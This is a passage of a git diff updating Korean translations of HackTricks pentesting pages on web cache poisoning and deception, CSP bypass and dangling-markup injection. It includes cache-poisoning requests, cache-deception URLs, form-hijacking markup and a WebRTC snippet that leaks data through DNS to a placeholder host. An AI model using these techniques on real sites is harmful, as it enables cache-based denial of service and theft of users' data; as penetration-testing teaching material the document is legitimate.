때 정규화가 이루어졌습니다. -이것은 다음에서 더 잘 설명됩니다: +이것은 다음에서 더 잘 설명되어 있습니다: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 +### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기 때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다. ```markup @@ -116,7 +116,7 @@ X-Forwarded-Scheme: http ``` ### 제한된 `Vary` 헤더로 악용하기 -**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다: +**`X-Host`** 헤더가 **JS 리소스를 로드하는 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -164,12 +164,67 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했 ### GitLab + GCP CP-DoS -GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다. +GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드도 지원할 수 있었습니다. ### Rack Middleware (Ruby on Rails) -Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 가져와 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다. +Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 되어 보안 위험을 초래할 수 있습니다. ### 403 and Storage Buckets -Cloud +Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다. + +### Injecting Keyed Parameters + +캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다. + +### User Agent Rules + +일부 개발자는 서버 부하를 관리하기 위해 FFUF 또는 Nuclei와 같은 고트래픽 도구의 사용자 에이전트와 일치하는 요청을 차단합니다. 아이러니하게도, 이 접근 방식은 캐시 오염 및 DoS와 같은 취약점을 도입할 수 있습니다. + +### Illegal Header Fields + +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다. + +### Finding new headers + +[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) + +## Cache Deception + +Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다.** + +우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하세요. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다. + +테스트할 다른 사항들: + +- _www.example.com/profile.php/.js_ +- _www.example.com/profile.php/.css_ +- _www.example.com/profile.php/test.js_ +- _www.example.com/profile.php/../test.js_ +- _www.example.com/profile.php/%2e%2e/test.js_ +- _덜 알려진 확장자 사용하기:_.avif + +또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\ +그런 다음 **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다. + +**cache proxy**는 **extension**에 따라 파일을 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되어서는 안 됩니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다(이는 _.css_ 파일에 대한 예상입니다). + +여기에서 [HTTP Request Smuggling을 악용하여 Cache Deceptions 공격을 수행하는 방법](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요. + +## Automatic Tools + +- [**toxicache**](https://github.com/xhzeem/toxicache): URL 목록에서 웹 캐시 오염 취약점을 찾고 여러 주입 기술을 테스트하는 Golang 스캐너입니다. + +## References + +- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) +- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) +- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) +- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) +- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) +- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 5cbab838d..9c9a234e5 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -7,7 +7,7 @@ - **HTTP Header Oversize (HHO)** -웹 서버가 지원하는 것보다 크지만 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 캐시될 수 있는 400 응답으로 응답할 것입니다: +웹 서버가 지원하는 것보다 크지만 캐시 서버가 지원하는 것보다 작은 헤더 크기로 요청을 보냅니다. 웹 서버는 400 응답으로 응답할 것이며, 이는 캐시될 수 있습니다: ``` GET / HTTP/1.1 Host: redacted.com @@ -21,9 +21,9 @@ GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` -잘못 구성된 헤더는 단순히 `\:`로 헤더가 될 수 있습니다. +잘못 구성된 헤더는 단순히 `\:`로 헤더로 사용될 수 있습니다. -예상치 못한 값이 전송되면, 예를 들어 예상치 못한 Content-Type:와 같은 경우에도 작동할 수 있습니다. +예상치 못한 값이 전송되면, 예를 들어 예상치 못한 Content-Type:과 같은 경우에도 작동할 수 있습니다. ``` GET /anas/repos HTTP/2 Host: redacted.com @@ -31,7 +31,7 @@ Content-Type: HelloWorld ``` - **키가 없는 헤더** -일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 포함되어 있으면 오류 상태 코드를 반환합니다. +일부 웹사이트는 요청에 _X-Amz-Website-Location-Redirect: someThing_ 헤더와 같은 특정 헤더가 **포함되어 있으면** 오류 상태 코드를 반환합니다. ``` GET /app.js HTTP/2 Host: redacted.com @@ -52,7 +52,7 @@ HTTP-Method-Override: POST ``` - **키가 없는 포트** -Host 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다: +호스트 헤더의 포트가 응답에 반영되고 캐시 키에 포함되지 않는 경우, 사용되지 않는 포트로 리디렉션할 수 있습니다: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -80,7 +80,7 @@ CF-Cache-Status: miss ``` - **호스트 헤더 대소문자 정규화** -호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며, 그렇지 않을 경우 오류를 반환합니다: +호스트 헤더는 대소문자를 구분하지 않아야 하지만 일부 웹사이트는 소문자로 되어 있기를 기대하며 그렇지 않을 경우 오류를 반환합니다: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com @@ -105,7 +105,7 @@ Not Found ``` - **Fat Get** -일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중지하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다: +일부 캐시 서버, 예를 들어 Cloudflare 또는 웹 서버는 본문이 있는 GET 요청을 중단하므로, 이를 악용하여 잘못된 응답을 캐시할 수 있습니다: ``` GET /index.html HTTP/2 Host: redacted.com @@ -117,7 +117,7 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` -## 참고 문헌 +## 참고문헌 - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 6d521d4d1..9797e85be 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -이 문서는 캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만드는 것**입니다. +이 문서는 캐시 프록시와 웹 서버 간의 불일치를 악용하여 캐시 오염 공격을 수행하기 위해 제안된 기술의 요약입니다 **캐시 오염 공격을 수행하기 위해.** > [!NOTE] -> 이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 하여 캐시하도록 만드는 것**입니다. 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하도록 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다. +> 이 공격의 목표는 **캐시 서버가 정적 리소스가 로드되고 있다고 생각하게 만드는 것**입니다. 따라서 캐시 서버는 경로의 일부를 캐시 키로 저장하지만 웹 서버는 다른 경로를 해결하여 응답합니다. 웹 서버는 사용자의 민감한 정보, XSS와 같은 악성 페이로드 또는 공격자의 웹사이트에서 JS 파일을 로드하기 위해 리디렉션하는 동적 페이지를 로드하는 실제 경로를 해결합니다. ## 구분자 @@ -19,12 +19,12 @@ 다음 프로세스를 따라 다른 특정 구분자를 찾을 수 있습니다: - **1단계**: 캐시할 수 없는 요청을 식별하고 이를 사용하여 잠재적인 구분자가 있는 URL이 어떻게 처리되는지 모니터링합니다. -- **2단계**: 경로에 임의의 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다. -- **3단계**: 임의의 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다. +- **2단계**: 경로에 무작위 접미사를 추가하고 서버의 응답을 비교하여 문자가 구분자로 작동하는지 확인합니다. +- **3단계**: 무작위 접미사 앞에 잠재적인 구분자를 도입하여 응답이 변경되는지 확인하여 구분자 사용을 나타냅니다. ## 정규화 및 인코딩 -- **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 추출하기 위해 URL을 정규화합니다. +- **목적**: 캐시 및 원본 서버의 URL 파서는 엔드포인트 매핑 및 캐시 키를 위해 경로를 추출하기 위해 URL을 정규화합니다. - **프로세스**: 경로 구분자를 식별하고 문자를 디코딩하고 점 세그먼트를 제거하여 경로를 추출하고 정규화합니다. ### **인코딩** @@ -36,17 +36,17 @@ Nginx, Node 및 CloudFront와 같은 다양한 HTTP 서버 및 프록시는 구 ### 점 세그먼트 점이 포함된 경로 정규화는 캐시 오염 공격에 매우 흥미롭습니다. 예를 들어, `/static/../home/index` 또는 `/aaa..\home/index`와 같은 경우, 일부 캐시 서버는 이러한 경로를 키로 사용하여 캐시할 수 있지만 다른 서버는 경로를 해결하고 `/home/index`를 캐시 키로 사용할 수 있습니다.\ -이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 요청된 경로에서 수집된 응답인지 확인하는 것이 도움이 됩니다. +이전과 마찬가지로 이러한 종류의 요청을 보내고 `/home/index`에 대한 응답이 이러한 경로가 요청될 때 전송된 응답인지 확인하는 것이 도움이 됩니다. ## 정적 리소스 -여러 캐시 서버는 응답이 정적이라고 식별되면 항상 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다: +여러 캐시 서버는 응답이 정적이라고 식별되면 항상 응답을 캐시합니다. 이는 다음과 같은 이유 때문일 수 있습니다: - **확장자**: Cloudflare는 다음 확장자를 가진 파일을 항상 캐시합니다: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - 구분자와 정적 확장을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home$image.png`에 대한 요청은 `/home$image.png`를 캐시하고 원본 서버는 `/home`으로 응답합니다. - **잘 알려진 정적 디렉토리**: 다음 디렉토리는 정적 파일을 포함하고 있으므로 그 응답은 캐시되어야 합니다: /static, /assets, /wp-content, /media, /templates, /public, /shared - 구분자, 정적 디렉토리 및 점을 사용하여 동적 응답을 캐시하도록 강제할 수 있습니다. 예를 들어 `/home/..%2fstatic/something`은 `/static/something`을 캐시하고 응답은 `/home`이 됩니다. - **정적 디렉토리 + 점**: `/static/..%2Fhome` 또는 `/static/..%5Chome`에 대한 요청은 그대로 캐시될 수 있지만 응답은 `/home`일 수 있습니다. -- **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답할 수 있습니다. +- **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답합니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index d40118ac1..fb76e3863 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ```xml ``` -### 헤더 +### Headers CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습니다: - `Content-Security-Policy`: CSP를 시행합니다; 브라우저는 위반 사항을 차단합니다. -- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 보고하지만 차단하지 않습니다. 사전 생산 환경에서 테스트하는 데 이상적입니다. +- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 사전 생산 환경에서 테스트하는 데 이상적입니다. -### 리소스 정의 +### Defining Resources -CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는: +CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는 다음과 같습니다: ```bash default-src 'none'; img-src 'self'; @@ -39,38 +39,38 @@ object-src 'none'; ``` ### 지시어 -- **script-src**: JavaScript에 대한 특정 출처를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다. +- **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다. - **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다. - **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다. - **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다. - **frame-src**: 프레임에 대한 URL을 제한합니다. -- **frame-ancestors**: 현재 페이지를 포함할 수 있는 출처를 지정하며, ``, ` // The bot will load an URL with the payload @@ -536,7 +548,7 @@ run() ### CSP 제한을 통한 CSP 우회 -[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일의 로드를 허용하지 않도록 설정되어 있습니다. 그 후, **프로토타입 오염** 또는 **DOM 클로버링**을 통해 **다른 스크립트를 악용하여 임의의 스크립트를 로드할 수 있게** 합니다. +[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다. **`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**: ```html @@ -544,8 +556,8 @@ run() src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있어 CSTI를 방지하는 스크립트가 비활성화되었고, 따라서 **취약점이 악용 가능해졌습니다.**\ -CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다: +[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\ +CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다: ```html ` 이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**: @@ -668,7 +680,7 @@ X-DNS-Prefetch-Control: off 여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다. -실제로 _DNS 요청_을 사용하여 정보를 _leak_할 수 있습니다. 이 코드를 확인해 보세요: +실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 1b89a4aac..14141e49f 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -2,11 +2,11 @@ A configuration such as: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` -코드로 전송된 문자열을 실행하는 모든 함수의 사용을 금지합니다. 예를 들어: `eval, setTimeout, setInterval`은 `unsafe-eval` 설정으로 인해 모두 차단됩니다. +코드가 문자열로 전송되는 함수를 실행하는 것을 금지합니다. 예를 들어: `eval, setTimeout, setInterval`은 `unsafe-eval` 설정으로 인해 모두 차단됩니다. 외부 소스의 모든 콘텐츠도 차단되며, 여기에는 이미지, CSS, WebSockets, 특히 JS가 포함됩니다. -### 텍스트 및 이미지 경로 +### 텍스트 및 이미지 경유 현대 브라우저는 이미지를 HTML로 변환하여 표시를 향상시키는 것으로 관찰됩니다 (예: 배경 설정, 중앙 정렬 등). 따라서 `favicon.ico` 또는 `robots.txt`와 같은 이미지나 텍스트 파일이 `iframe`을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지는 종종 CSP 헤더가 없으며 X-Frame-Options를 포함하지 않을 수 있어, 이로부터 임의의 JavaScript 실행이 가능해집니다: ```javascript @@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` -언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능합니다: +언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능하다: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index f8b6ff66c..57e2d4e46 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,16 +4,16 @@ ## Resume -이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. **XSS** [**를 이용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에도 유용합니다.\ -또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다. +이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **일부 HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\ +또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 일부 스크립트 실행을 오도하고 싶을 때도 유용합니다. -여기에서 언급된 여러 기술은 정보를 예상치 못한 방식(HTML 태그, CSS, http-meta 태그, 폼, base 등)으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다. +여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...). ## Main Applications ### Stealing clear text secrets -페이지가 로드될 때 `test @@ -41,15 +41,15 @@ steal me'test ```html ``` -그런 다음, 데이터를 경로로 보내는 양식(`
`)은 악의적인 도메인으로 데이터를 보냅니다. +그런 다음, 데이터를 경로로 보내는 폼(``)은 악성 도메인으로 데이터를 보냅니다. -### 양식 훔치기 2 +### 폼 훔치기 2 -양식 헤더 설정: `` 이렇게 하면 다음 양식 헤더가 덮어쓰여지고 양식의 모든 데이터가 공격자에게 전송됩니다. +폼 헤더를 설정합니다: `` 이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다. -### 양식 훔치기 3 +### 폼 훔치기 3 -버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다. +버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다: ```html